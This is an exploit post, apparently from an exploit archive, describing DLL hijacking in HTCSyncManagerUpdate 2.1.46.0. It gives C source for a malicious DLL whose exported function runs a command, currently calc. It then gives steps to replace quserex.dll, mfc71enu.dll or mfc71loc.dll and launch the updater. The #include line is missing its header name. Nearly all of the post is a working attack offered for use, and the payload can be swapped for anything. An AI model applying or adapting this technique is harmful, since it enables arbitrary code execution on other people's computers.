Exploit Title: HTCSyncManagerUpdate (quserex.dll & mfc71enu.dll & mfc71loc.dll ) Path Subversion Arbitrary DLL Injection Code Execution Author: Iranian_Dark_Coders_Team Discovered by A.CH12 Software Link: http://www.htc.com/ Version: 2.1.46.0 Tested on: Windows 7 // :::'###::::::::::::::::'######::'##::::'##::::'##::::'#######:: // ::'## ##::::::::::::::'##... ##: ##:::: ##::'####:::'##.... ##: // :'##:. ##::::::::::::: ##:::..:: ##:::: ##::.. ##:::..::::: ##: // '##:::. ##:::::::::::: ##::::::: #########:::: ##::::'#######:: // #########:::::::::::: ##::::::: ##.... ##:::: ##:::'##:::::::: // ##.... ##::::'###:::: ##::: ##: ##:::: ##:::: ##::: ##:::::::: // ##:::: ##:::: ###::::. ######:: ##:::: ##::'######: #########: // ..:::::..:::::...::::::......:::..:::::..:::......::.........:: ============================================================= #include #define DllExport __declspec (dllexport) DllExport void DwmSetWindowAttribute() { egg(); } int egg() { system ("calc"); exit(0); return 0; } ============================================================= Instructions: 1. Compile dll 2. Replace quserex.dll or mfc71enu.dll or mfc71loc.dll in HTC Sync Manager directory with your newly compiled dll 3. Launch HTCSyncManagerUpdate 4. Bo0o0o0o0o0o0o0m ! Greet to my Lovely friends : nimaarek , D.S (ASA);